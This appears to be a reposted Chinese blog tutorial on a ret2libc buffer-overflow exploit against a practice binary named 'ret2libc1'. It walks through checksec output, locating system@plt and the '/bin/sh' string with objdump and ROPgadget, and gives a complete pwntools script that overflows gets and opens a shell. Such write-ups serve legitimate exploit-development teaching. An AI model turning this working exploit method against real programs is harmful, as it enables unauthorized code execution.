Ret2Libc(1) (有system、/bin/sh)绕过NX、ASLR

Ret2Libc即控制程序执行libc库中的函数。

通常是返回到某个函数的plt处,或者函数运行时候的实际地址。

下面是一个例子:

可以看出程序gets有一个明显的溢出漏洞

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

可以看到程序开启了NX,

我的linux已经开启了ASLR

而且,这个程序中,

我们可以用 objdump在plt表中找到system

objdump -d ret2libc1 | grep "plt"

扫描二维码关注公众号,回复: 4545775 查看本文章

用ROPgadget可以找到 ‘/bin/sh’

ROPgadget.py --binary ret2libc1 --string "/bin/sh"

system_plt = 0x08048460
bin_sh_addr = 0x08048720

确定溢出漏洞所需要的填充长度为112

利用思路:

1、用system_plt地址覆盖函数的返回地址

2、构造一个system_plt的返回地址

3、给system函数传入参数:/bin/sh 的地址

我们就可以构造payload了

exp:

from pwn import *
sys_plt = 0x08048460
bin_sh = 0x08048720

io = process('./ret2libc1')
payload = 'A'*112 + p32(sys_plt) + p32(0x41414141) +  p32(bin_sh)
io.sendline(payload)
io.interactive()

成功getshell

猜你喜欢

转载自blog.csdn.net/qq742762377/article/details/84310109